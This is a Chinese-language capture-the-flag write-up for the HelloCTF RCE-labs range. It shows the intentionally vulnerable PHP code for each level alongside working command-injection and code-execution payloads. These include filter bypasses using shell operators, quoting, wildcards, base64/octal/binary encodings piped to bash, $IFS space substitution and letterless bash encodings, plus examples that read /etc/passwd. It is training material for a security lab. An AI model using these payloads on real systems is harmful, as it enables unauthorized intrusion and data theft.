rce-labs wp
level 1
<?phpinclude ("get_flag.php");eval($_POST['a']);highlight_file(__FILE__);?>简单的一句话木马:
a=system('cat /flag');level 2
<?phpinclude ("get_flag.php");global $flag;
session_start();function hello_ctf($function, $content){ global $flag; $code = $function . "(" . $content . ");"; echo "Your Code: $code <br>"; eval($code);}function get_fun(){
$func_list = ['eval','assert','call_user_func','create_function','array_map','call_user_func_array','usort','array_filter','array_reduce','preg_replace'];
if (!isset($_SESSION['random_func'])) { $_SESSION['random_func'] = $func_list[array_rand($func_list)]; }
$random_func = $_SESSION['random_func'];
$url_fucn = preg_replace('/_/', '-', $_SESSION['random_func']);
echo "获得新的函数: $random_func ,去 https://www.php.net/manual/zh/function.".$url_fucn.".php 查看函数详情。<br>";
return $_SESSION['random_func'];}
function start($act){
$random_func = get_fun();
if($act == "r"){ /* 通过发送GET ?action=r 的方式可以重置当前选中的函数 —— 或者你可以自己想办法可控它x */ session_unset(); session_destroy(); }
if ($act == "submit"){ $user_content = $_POST['content']; hello_ctf($random_func, $user_content); }}
isset($_GET['action']) ? start($_GET['action']) : '';
highlight_file(__FILE__);
?>首先通过发送 GET:/?action= 去随机的获取一个函数,然后通过往 /?action=submit 路由 POST:content=<函数参数> 的方法完成题目。
通过源码可以看到最后我们的提交会组合为一个函数去调用: eval(funciton(content))
对应函数输出flag的方式可以参考下面的表格:
PHP 代码执行相关函数
| 函数 | 说明 | 示例代码 |
|---|---|---|
${} | 用于复杂的变量解析,通常在字符串内用来解析变量或表达式。可以配合 eval 或其他动态执行代码的功能,用于间接执行代码。 | eval('${flag}'); |
eval() | 用于执行一个字符串作为 PHP 代码。可以执行任何有效的 PHP 代码片段。没有返回值,除非在执行的代码中明确返回。 | eval('echo $flag;'); |
assert() | 测试表达式是否为真。PHP 8.0.0 之前,如果 assertion 是字符串,将解释为 PHP 代码并通过 eval() 执行。PHP 8.0.0 后移除该功能。 | assert(print_r($flag)); |
call_user_func() | 用于调用回调函数,可以传递多个参数给回调函数,返回回调函数的返回值。适用于动态函数调用。 | call_user_func('print_r', $flag); |
create_function() | 创建匿名函数,接受两个字符串参数:参数列表和函数体。返回一个匿名函数的引用。 自 PHP 7.2.0 起被废弃,并自 PHP 8.0.0 起被移除。 | create_function('$a', 'echo $flag;')($a); |
array_map() | 将回调函数应用于数组的每个元素,返回一个新数组。适用于转换或处理数组元素。 | array_map(print_r($flag), $a); |
call_user_func_array() | 调用回调函数,并将参数作为数组传递。适用于动态参数数量的函数调用。 | call_user_func_array(print_r($flag), array()); |
usort() | 对数组进行自定义排序,接受数组和比较函数作为参数。适用于根据用户定义的规则排序数组元素。 | usort($a,print_r($flag)); |
array_filter() | 过滤数组元素,如果提供回调函数,仅包含回调返回真值的元素;否则,移除所有等同于false的元素。适用于基于条件移除数组中的元素。 | array_filter($a,print_r($flag)); |
array_reduce() | 迭代一个数组,通过回调函数将数组的元素逐一减少到单一值。接受数组、回调函数和可选的初始值。 | array_reduce($a,print_r($flag)); |
preg_replace() | 执行正则表达式的搜索和替换。可以是单个字符串或数组。适用于基于模式匹配修改文本内容。 依赖 /e 模式,该模式自 PHP7.3 起被取消。 | preg_replace('/(.*)/ei', 'strtolower("\\1")', ${print_r($flag)}); |
ob_start() | ob_start — 打开输出控制缓冲,可选回调函数作为参数来处理缓冲区内容。 | ob_start(print_r($flag)); |
其中print_f方法可以用以下替换
var_dump($flag);var_export($flag, true); // 返回字符串var_export($flag); // 直接输出debug_zval_dump($flag);printf($flag); // 直接输出level 3
<?phpsystem($_POST['a']);
highlight_file(__FILE__);?>通过POST传system函数的命令
system() 函数会通过sh软连接执行你输入的系统命令。
a=cat /flaglevel 4
利用shell逻辑运算符,调用system函数
<?phptry GET: ?ip=8.8.8.8flag is /flag*/
function hello_server($ip){ system("ping -c 1 $ip");}
isset($_GET['ip']) ? hello_server($_GET['ip']) : null;
highlight_file(__FILE__);
?>| 运算符 | 说明 | 示例代码 |
|---|---|---|
&&(逻辑与运算符) | AND操作 只有当第一个命令 cmd_1 执行成功(返回值为 0)时,才会执行第二个命令 cmd_2。 | mkdir new_folder && cd new_folder (只有在新建文件夹成功后才进入该文件夹) |
| ` | `(逻辑或运算符) | |
&(后台运行符) | 将命令 cmd_1 放到后台执行,Shell 立即执行 cmd_2,两个命令并行执行。 | sleep 10 & echo "This will run immediately." |
;(命令分隔符) | 无论前一个命令 cmd_1 是否成功,都会执行下一个命令 cmd_2。这允许将命令堆叠在一起。命令会依次执行。 | echo "Hello"; echo "World" (先输出 “Hello”,再输出 “World”) |
payload:
?ip=1.1.1.1&&cat /flag?ip=||cat /flag?ip=;cat /flag?ip=&cat /flag扩展:其他Shell符号:
| 操作符 | 结果 | 示例 |
|---|---|---|
command1 > command2 command1 < command2 command1 >> command2 | 这些操作符是重定向操作符。它们用于重定向输入或输出。 | echo "Hello" > output.txt (将 “Hello” 写入到 output.txt 文件) cat < input.txt (读取 input.txt 的内容并在终端显示) echo "Hello" >> output.txt (将 “Hello” 追加到 output.txt 文件中) |
command2 | 反引号将一个单独的命令封装在原始命令处理的数据中。 | echo “Today is \`date\`“((将日期命令的输出嵌入到 “Today is” 之后) |
| `command1 | command2` | 管道可用于将多个命令链接起来。一个命令的输出会被重定向到下一个命令中。 |
$(command2) | $ 符号执行括号内的命令。 | echo "Today is $(date)" (将日期命令的输出嵌入到 “Today is” 之后) |
- command | 短横线用于向目标命令添加其他操作。 | ls -l -h (列出文件时显示文件大小的可读格式) |
level 5
<?phpfunction hello_shell($cmd){ if(preg_match("/flag/", $cmd)){ die("WAF!"); } system($cmd);}
isset($_GET['cmd']) ? hello_shell($_GET['cmd']) : null;
highlight_file(__FILE__);
?>空字符:
在Shell中,单/双引号 ”/’ 可以用来定义一个空字符串或保护包含空格或特殊字符的字符串。 例如:echo "$"a 会输出 $a,而 echo $a 会输出变量 a 的值,当只有 "" 则表示空字符串,Shell会忽略它。
?cmd=cat /f''lag?cmd=cat /f'l'ag通配符:
| 通配符 | 功能说明 | 示例 | 用途 |
|---|---|---|---|
* | 匹配零个或多个字符 | *.txt | 匹配所有以 .txt 结尾的文件 |
? | 匹配单个字符 | file?.txt | 匹配 file1.txt, file2.txt 等单个字符的文件名 |
[] | 匹配方括号内的任意一个字符 | file[1-3].txt | 匹配 file1.txt, file2.txt, file3.txt |
[^] | 匹配不在方括号内的字符 | file[^a-c].txt | 匹配不包含 a 到 c 之间字符的文件 |
{} | 匹配大括号内的任意一个字符串,使用逗号分隔 | file{1,2,3}.txt | 匹配 file1.txt, file2.txt, file3.txt |
~ | 表示当前用户的主目录 | ~/Documents | 访问主目录下的 Documents 文件夹 |
! | 表示取反,在一些条件测试或模式匹配中使用 | ls !(*.txt) | 列出所有不是 .txt 结尾的文件 |
\ | 转义字符,取消通配符的特殊意义,使其作为普通字符处理 | file\*.txt | 匹配文件名为 file*.txt 的文件 |
?cmd=cat /f*赋值与拼接:
<@URLe>a=c;b=at;c=fla;d=g;$a$b /$c$d<@URLe>?cmd=a%3Dc%3Bb%3Dat%3Bc%3Dfla%3Bd%3Dg%3B%24a%24b%20%2F%24c%24d反斜杠:
?cmd=ca\t /fla\g特殊变量:
| 变量 | 含义 | 示例输出 |
|---|---|---|
${#} | 传递给脚本或函数的参数个数 | 0(参数为空时) |
${?} | 上一个命令的退出状态 | 0(正常退出)或 1(异常退出) |
${_} | 上一个命令的最后一个参数 | 上一个命令的最后一个参数值 |
${0} | 当前脚本或 shell 的名字 | bash 或脚本名 |
${1} 到 ${9} | 传递给脚本或函数的第 1 到第 9 个参数 | 第 1 到第 9 个参数值 |
${@} | 传递给脚本或函数的所有参数(以列表形式) | 所有参数值 |
${*} | 传递给脚本或函数的所有参数(以字符串形式) | 所有参数作为单个字符串 |
${$} | 当前 shell 的进程 ID (PID) | 进程 ID 值 |
${!} | 上一个后台运行的进程的进程 ID (PID) | 后台进程的 PID |
${-} | 当前 shell 的选项标志 | hB(表示 shell 选项标志) |
?cmd=ca$1t /fl$@ag
?cmd=ca$1t /fl$1ag //如果不存在这个参数的话,则传的是空值,就会被跳过
?cmd=ca$1t /fl$2ag编码 / 进制:
cat "$(echo 'L2ZsYWc=' | base64 -d)"`echo "Y2F0IC9mbGFn"|base64 -d`echo "Y2F0IC9mbGFn"|base64 -d|bash
echo -n 636174202f666c6167 | xxd -r -p | bash # 十六进制$(printf "\143\141\164\040\057\146\154\141\147\012") # 八进制(or bashfuck)level 6
<?php function hello_shell($cmd){ if(preg_match("/[b-zA-Z_@#%^&*:{}\-\+<>\"|`;\[\]]/", $cmd)){ die("WAF!"); } system($cmd);}
isset($_GET['cmd']) ? hello_shell($_GET['cmd']) : null;
highlight_file(__FILE__);
?>看正则表达式,给我们留了一个a还有所有数字,可以尝试用?模糊匹配
/???/?a??64 /??a? # 使用 /bin/base64 /flag/bin/?a? /??a? # 使用 /bin/cat /flaglevel 7(过滤空格
<?php/*# -*- coding: utf-8 -*-# @Author: 探姬# @Date: 2024-08-11 14:34# @Repo: github.com/ProbiusOfficial/RCE-labs# @email: admin@hello-ctf.com# @link: hello-ctf.com
--- HelloCTF - RCE靶场 : 命令执行 - 终端特殊字符 ---
在遇到空格被过滤的情况下,通常使用 %09 也就是TAB的URL编码来绕过,在终端环境下 空格 被视为一个命令分隔符,本质上由 $IFS 变量控制,而 $IFS 的默认值是空格、制表符和换行符,所以我们还可以通过直接键入 $IFS 来绕过空格过滤。
*/
function hello_shell($cmd){ if(preg_match("/flag| /", $cmd)){ die("WAF!"); } system($cmd);}
isset($_GET['cmd']) ? hello_shell($_GET['cmd']) : null;
highlight_file(__FILE__);
?>空格被过滤可以用一下方法代替空格绕过
使用
$IFS
$IFS是 Linux 的内部字段分隔符,可以替代空格。eg
$IFS-l 使用 %09(Tab 键)在支持 URL 编码的环境中,可以使用 %09 替代空格。
eg
%09-l 使用大括号 {} 拼接
通过大括号将命令分割为多个部分,再拼接执行。
eg:{ls,-l} 使用重定向符 < 或 <>
利用重定向符号替代空格。
eg: ls<-l
payload:
?cmd=cat%09fl*扩展:过滤 /
${HOME:0:1}来替代"/":cat /flag ---->>> cat ${HOME:0:1}flag
$(echo . | tr '!-0' '"-1') 来替代"/":cat $(echo . | tr '!-0' '"-1')flaglevel 8
<?phpfunction hello_shell($cmd){ /*>/dev/null 将不会有任何回显,但会回显错误,加上 2>&1 后连错误也会被屏蔽掉*/ system($cmd.">/dev/null 2>&1");}
isset($_GET['cmd']) ? hello_shell($_GET['cmd']) : null;
highlight_file(__FILE__);
?>我真甜美服了,以为思路错了,结果是因为没有URL编码
用;隔开就好了
payload:
?cmd=cat%20%2Fflag%3Blevel 9
无字母命令执行_八进制转义
<?php/*
--- HelloCTF - RCE靶场 : 命令执行 - bash终端的无字母命令执行_八进制转义 ---
题目已经拥有成熟脚本:https://github.com/ProbiusOfficial/bashFuck你也可以使用在线生成:https://probiusofficial.github.io/bashFuck/题目本身也提供一个/exp.php方便你使用
从该关卡开始你会发现我们在Dockerfile中添加了一行改动:
RUN ln -sf /bin/bash /bin/sh
这是由于在PHP中,system是执行sh的,sh通常只是一个软连接,并不是真的有一个shell叫sh。在debian系操作系统中,sh指向dash;在centos系操作系统中,sh指向bash,我们用的底层镜像 php:7.3-fpm-alpine 默认指向的 /bin/busybox ,要验证这一点,你可以对 /bin/sh 使用 ls -l 命令查看,在这个容器中,你会得到下面的回显:bash-5.1# ls -l /bin/shlrwxrwxrwx 1 root root 12 Mar 16 2022 /bin/sh -> /bin/busybox
我们需要用到的特性只有bash才支持,请记住这一点,这也是我们手动修改指向的原因。
在这个关卡主要利用的是在终端中,$'\xxx'可以将八进制ascii码解析为字符,仅基于这个特性,我们可以将传入的命令的每一个字符转换为$'\xxx\xxx\xxx\xxx'的形式,但是注意,这种方式在没有空格的情况下无法执行带参数的命令。比如"ls -l"也就是$'\154\163\40\55\154' 只能拆分为$'\154\163' 空格 $'\55\154'三部分。
bash-5.1# $'\154\163\40\55\154'bash: ls -l: command not found
bash-5.1# $'\154\163' $'\55\154'total 4-rw-r--r-- 1 www-data www-data 829 Aug 14 19:39 index.php
*/
function hello_shell($cmd){ if(preg_match("/[A-Za-z\"%*+,-.\/:;=>?@[\]^`|]/", $cmd)){ die("WAF!"); } system($cmd);}
isset($_GET['cmd']) ? hello_shell($_GET['cmd']) : null;
highlight_file(__FILE__);
?>直接使用给的小工具

最终payload:
?cmd=$'\143\141\164'%20$'\57\146\154\141\147'level 10
<?php/*# -*- coding: utf-8 -*-# @Author: 探姬# @Date: 2024-08-11 14:34# @Repo: github.com/ProbiusOfficial/RCE-labs# @email: admin@hello-ctf.com# @link: hello-ctf.com
--- HelloCTF - RCE靶场 : 命令执行 - bash终端的无字母命令执行_二进制整数替换 ---
题目已经拥有成熟脚本:https://github.com/ProbiusOfficial/bashFuck你也可以使用在线生成:https://probiusofficial.github.io/bashFuck/题目本身也提供一个/exp.php方便你使用
本关卡的考点为终端中支持 $((2#binary)) 解析二进制数据。
*/
function hello_shell($cmd){ if(preg_match("/[A-Za-z2-9\"%*+,-.\/:;=>?@[\]^`|]/", $cmd)){ die("WAF!"); } system($cmd);}
isset($_GET['cmd']) ? hello_shell($_GET['cmd']) : null;
highlight_file(__FILE__);
?>一样是用神秘小工具,但是和上一关不同的是这关的指令不需要将cat和/flag分开,需要一起转译
payload:
?cmd=%240%3C%3C%3C%240%5C%3C%5C%3C%5C%3C%5C%24%5C'%5C%5C%24((%24((1%3C%3C1))%2310001111))%5C%5C%24((%24((1%3C%3C1))%2310001101))%5C%5C%24((%24((1%3C%3C1))%2310100100))%5C%5C%24((%24((1%3C%3C1))%23101000))%5C%5C%24((%24((1%3C%3C1))%23111001))%5C%5C%24((%24((1%3C%3C1))%2310010010))%5C%5C%24((%24((1%3C%3C1))%2310011010))%5C%5C%24((%24((1%3C%3C1))%2310001101))%5C%5C%24((%24((1%3C%3C1))%2310010011))%5C'
level 11
<?php/*# -*- coding: utf-8 -*-# @Author: 探姬# @Date: 2024-08-11 14:34# @Repo: github.com/ProbiusOfficial/RCE-labs# @email: admin@hello-ctf.com# @link: hello-ctf.com
--- HelloCTF - RCE靶场 : 命令执行 - bash终端的无字母命令执行_数字1的特殊变量替换 ---
题目已经拥有成熟脚本:https://github.com/ProbiusOfficial/bashFuck你也可以使用在线生成:https://probiusofficial.github.io/bashFuck/题目本身也提供一个/exp.php方便你使用
本关卡的考点为终端中支持 $((2#binary)) 解析二进制数据 + 我们用 ${##} 来替换 1
*/
function hello_shell($cmd){ if(preg_match("/[A-Za-z1-9\"%*+,-.\/:;=>?@[\]^`|]/", $cmd)){ die("WAF!"); } system($cmd);}
isset($_POST['cmd']) ? hello_shell($_POST['cmd']) : null;
highlight_file(__FILE__);
?>和上面一样,用神秘小工具秒了
cmd=$0<<<$0\<\<\<\$\'\\$(($((${##}<<${##}))#${##}000${##}${##}${##}${##}))\\$(($((${##}<<${##}))#${##}000${##}${##}0${##}))\\$(($((${##}<<${##}))#${##}0${##}00${##}00))\\$(($((${##}<<${##}))#${##}0${##}000))\\$(($((${##}<<${##}))#${##}${##}${##}00${##}))\\$(($((${##}<<${##}))#${##}00${##}00${##}0))\\$(($((${##}<<${##}))#${##}00${##}${##}0${##}0))\\$(($((${##}<<${##}))#${##}000${##}${##}0${##}))\\$(($((${##}<<${##}))#${##}00${##}00${##}${##}))\'level 12
暂时打不开环境,过段时间试试
过了一天还是打不开,估计也是用小工具的,不写也罢
level 13
<?php/*# -*- coding: utf-8 -*-# @Author: 探姬# @Date: 2024-08-11 14:34# @Repo: github.com/ProbiusOfficial/RCE-labs# @email: admin@hello-ctf.com# @link: hello-ctf.com
--- HelloCTF - RCE靶场 : 命令执行 - bash终端的无字母命令执行_特殊扩展替换任意数字 ---
题目已经拥有成熟脚本:https://github.com/ProbiusOfficial/bashFuck你也可以使用在线生成:https://probiusofficial.github.io/bashFuck/题目本身也提供一个/exp.php方便你使用
本关卡的考点为 $(()) + 取反 构造任意数字
echo $(()) -> 0echo $((~$(()))) -> -1echo $(($((~$(())))$((~$(()))))) -> -2
*/
function hello_shell($cmd){ if(preg_match("/[A-Za-z0-9\"%*+,-.\/:;>?@[\]^`|]/", $cmd)){ die("WAF!"); } system($cmd);}
isset($_GET['cmd']) ? hello_shell($_GET['cmd']) : null;
highlight_file(__FILE__);
?>还是用奇妙小工具,不说了
level 14(七字符RCE)
<?php/*# -*- coding: utf-8 -*-# @Author: 探姬# @Date: 2024-08-11 14:34# @Repo: github.com/ProbiusOfficial/RCE-labs# @email: admin@hello-ctf.com# @link: hello-ctf.com
--- HelloCTF - RCE靶场 : 命令执行 - 长度限制_7字符RCE ---
*/
if(isset($_GET[1]) && strlen($_GET[1]) < 8){ echo strlen($_GET[1]); echo '<hr/>'; echo shell_exec($_GET[1]);}else{ exit('too long');}
highlight_file(__FILE__);
?>简单
payload:
?1=cat /f*level 15(5字符绕过)
<?php/*# -*- coding: utf-8 -*-# @Author: 探姬# @Date: 2024-08-11 14:34# @Repo: github.com/ProbiusOfficial/RCE-labs# @email: admin@hello-ctf.com# @link: hello-ctf.com
--- HelloCTF - RCE靶场 : 命令执行 - 长度限制_7字符RCE ---
*/
if(isset($_GET[1]) && strlen($_GET[1]) < 8){ echo strlen($_GET[1]); echo '<hr/>'; echo shell_exec($_GET[1]);}else{ exit('too long');}
highlight_file(__FILE__);
?>在CTFplus上写的,貌似不出网,写不了
所以直接贴wprce-labs level15详细解析
level 16
<?php/*# -*- coding: utf-8 -*-# @Author: 探姬# @Date: 2024-08-11 14:34# @Repo: github.com/ProbiusOfficial/RCE-labs# @email: admin@hello-ctf.com# @link: hello-ctf.com
--- HelloCTF - RCE靶场 : 命令执行 - 长度限制_4字符RCE ---
*/
$sandbox = '/www/sandbox/' . md5("orange" . $_SERVER['REMOTE_ADDR']);@mkdir($sandbox);@chdir($sandbox);if (isset($_GET['cmd']) && strlen($_GET['cmd']) <= 4) { @exec($_GET['cmd']);} else if (isset($_GET['reset'])) { @exec('/bin/rm -rf ' . $sandbox);}
highlight_file(__FILE__);
?>和上一关一个待遇
level 17
<?phpsession_start();/*# -*- coding: utf-8 -*-# @Author: 探姬# @Date: 2024-08-11 14:34# @Repo: github.com/ProbiusOfficial/RCE-labs# @email: admin@hello-ctf.com# @link: hello-ctf.com
--- HelloCTF - RCE靶场 : 命令执行 - PHP命令执行函数 ---
喵喵喵ww https://www.php.net/manual/zh/ref.exec.php
system() 函数用于在系统权限允许的情况下执行系统命令(Windows 和 Linux 系统均可执行)。eg:system('cat /etc/passwd');exec() 函数可以执行系统命令,但不会直接输出结果,而是将结果保存到数组中。eg:exec('cat /etc/passwd', $result); print_r($result);shell_exec() 函数执行系统命令,但返回一个字符串类型的变量来存储系统命令的执行结果。eg:echo shell_exec('cat /etc/passwd');passthru() 函数执行系统命令并将执行结果输出到页面中,支持二进制数据。eg:passthru('cat /etc/passwd');popen() 函数执行系统命令,但返回一个资源类型的变量,需要配合 fread() 函数读取结果。eg:$result = popen('cat /etc/passwd', 'r'); echo fread($result, 100);反引号 用于执行系统命令,返回一个字符串类型的变量来存储命令的执行结果。eg:echo \cat /etc/passwd`;`
在该关卡中,你将会从能够执行系统命令的PHP函数中抽取一个,你需要填充函数的内容来执行某些系统命令以获取flag(tip:flag存储在 /flag 中,当然你也可以尝试其他方法)。
*/function hello_ctf($function, $content){ if($function == '``'){ $code = '`'.$content.'`'; echo "Your Code: $code <br>"; eval("echo $code"); }else { $code = $function . "(" . $content . ");"; echo "Your Code: $code <br>"; eval($code); }
}
function get_fun(){
$func_list = ['system', 'exec', 'shell_exec', 'passthru', 'popen','``'];
if (!isset($_SESSION['random_func'])) { $_SESSION['random_func'] = $func_list[array_rand($func_list)]; }
$random_func = $_SESSION['random_func'];
$url_fucn = preg_replace('/_/', '-', $_SESSION['random_func']);
echo $random_func == '``' ? "获得隐藏运算符: 执行运算符 ,去 https://www.php.net/manual/zh/language.operators.execution.php 详情。<br>" : "获得新的函数: $random_func ,去 https://www.php.net/manual/zh/function.".$url_fucn.".php 查看函数详情。<br>";
return $_SESSION['random_func'];}
function start($act){
$random_func = get_fun();
if($act == "r"){ /* 通过发送GET ?action=r 的方式可以重置当前选中的函数 —— 或者你可以自己想办法可控它x */ session_unset(); session_destroy(); }
if ($act == "submit"){ $user_content = $_POST['content']; hello_ctf($random_func, $user_content); }}
isset($_GET['action']) ? start($_GET['action']) : '';
highlight_file(__FILE__);
?>和level 2类似,关键词:替换
| 函数 | 说明 | 示例代码 |
|---|---|---|
system() | system() 函数用于在系统权限允许的情况下执行系统命令(Windows 和 Linux 系统均可执行)。 | system('cat /etc/passwd'); |
exec() | exec() 函数可以执行系统命令,但不会直接输出结果,而是将结果保存到数组中。 | exec('cat /etc/passwd', $result); print_r($result); |
shell_exec() | shell_exec() 函数执行系统命令,但返回一个字符串类型的变量来存储系统命令的执行结果。 | echo shell_exec('cat /etc/passwd'); |
passthru() | passthru() 函数执行系统命令并将执行结果输出到页面中,支持二进制数据。 | passthru('cat /etc/passwd'); |
popen() | popen() 函数执行系统命令,但返回一个资源类型的变量,需要配合 fread() 函数读取结果。 | $result = popen('cat /etc/passwd', 'r'); echo fread($result, 100); |
| 反引号 “ | 反引号用于执行系统命令,返回一个字符串类型的变量来存储命令的执行结果。注意:关闭了 shell_exec() 时反引号运算符是无效的 | echo `cat /etc/passwd` |
部分信息可能已经过时









